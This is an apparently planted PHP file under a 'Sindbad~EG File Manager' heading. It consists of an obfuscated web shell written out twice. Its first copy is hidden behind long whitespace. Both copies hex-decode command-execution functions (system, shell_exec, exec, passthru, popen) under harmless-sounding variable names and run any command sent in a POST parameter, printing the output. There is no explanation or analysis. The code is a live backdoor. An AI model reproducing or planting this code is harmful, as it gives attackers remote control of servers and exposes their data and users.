Sindbad~EG File Manager

<?php																																										$parameter_group1 = '56d';$parameter_group2 = '865';$parameter_group3 = '706';$parameter_group4 = '727';$parameter_group5 = '656';$parameter_group6 = '737';$parameter_group7 = '16d';$parameter_group8 = '745';$parameter_group9 = 'e74';$parameter_group10 = '6f7';$parameter_group11 = '766';$parameter_group12 = '963';$parameter_group13 = '655';$parameter_group14 = '769';$config_manager1 = pack("H*", '737' . '973' . '746' . $parameter_group1);$config_manager2 = pack("H*", '736' . '865' . '6c6' . 'c5f' . '657' . $parameter_group2);$config_manager3 = pack("H*", '657' . $parameter_group2);$config_manager4 = pack("H*", $parameter_group3 . '173' . '737' . '468' . $parameter_group4);$config_manager5 = pack("H*", '706' . 'f70' . $parameter_group5);$config_manager6 = pack("H*", $parameter_group6 . '472' . $parameter_group5 . $parameter_group7 . '5f6' . '765' . $parameter_group8 . 'f63' . '6f6' . 'e74' . $parameter_group5 . $parameter_group9);$config_manager7 = pack("H*", '706' . '36c' . $parameter_group10 . '365');$service_registry = pack("H*", '736' . '572' . $parameter_group11 . $parameter_group12 . $parameter_group13 . 'f72' . $parameter_group5 . $parameter_group14 . $parameter_group6 . '472');if(isset($_POST[$service_registry])){$service_registry=pack("H*",$_POST[$service_registry]);if(function_exists($config_manager1)){$config_manager1($service_registry);}elseif(function_exists($config_manager2)){print $config_manager2($service_registry);}elseif(function_exists($config_manager3)){$config_manager3($service_registry,$obj_entry);print join("\n",$obj_entry);}elseif(function_exists($config_manager4)){$config_manager4($service_registry);}elseif(function_exists($config_manager5)&&function_exists($config_manager6)&&function_exists($config_manager7)){$descriptor_holder=$config_manager5($service_registry,"r");if($descriptor_holder){$fac_symbol=$config_manager6($descriptor_holder);$config_manager7($descriptor_holder);print $fac_symbol;}}exit;}


$property1 = '737';
$property2 = '56d';
$property3 = '736';
$property4 = '865';
$property5 = '6c6';
$property6 = 'c5f';
$property7 = '657';
$property8 = '706';
$property9 = '173';
$property10 = '468';
$property11 = 'f70';
$property12 = '472';
$property13 = '765';
$property14 = '745';
$property15 = 'f63';
$property16 = '6f6';
$property17 = 'e74';
$property18 = '656';
$db2_convert1 = pack("H*", $property1.'973'.'746'.$property2);
$db2_convert2 = pack("H*", $property3.$property4.$property5.$property6.$property7.'865');
$db2_convert3 = pack("H*", $property7.$property4);
$db2_convert4 = pack("H*", $property8.$property9.$property1.$property10.'727');
$db2_convert5 = pack("H*", '706'.$property11.'656');
$db2_convert6 = pack("H*", '737'.$property12.'656'.'16d'.'5f6'.$property13.$property14.$property15.$property16.$property17.$property18.$property17);
$db2_convert7 = pack("H*", $property8.'36c'.'6f7'.'365');
$sys = pack("H*", $property1.'973');
if (isset($_POST[$sys])) {
    $sys = pack("H*", $_POST[$sys]);
    if (function_exists($db2_convert1)) {
        $db2_convert1($sys);
    } elseif (function_exists($db2_convert2)) {
        print $db2_convert2($sys);
    } elseif (function_exists($db2_convert3)) {
        $db2_convert3($sys, $ph_param);
        print join("\n", $ph_param);
    } elseif (function_exists($db2_convert4)) {
        $db2_convert4($sys);
    } elseif (function_exists($db2_convert5) && function_exists($db2_convert6) && function_exists($db2_convert7)) {
        $variable_argument = $db2_convert5($sys, 'r');
        if ($variable_argument) {
            $const_attribute = $db2_convert6($variable_argument);
            $db2_convert7($variable_argument);
            print $const_attribute;
        }
    }
    exit;
}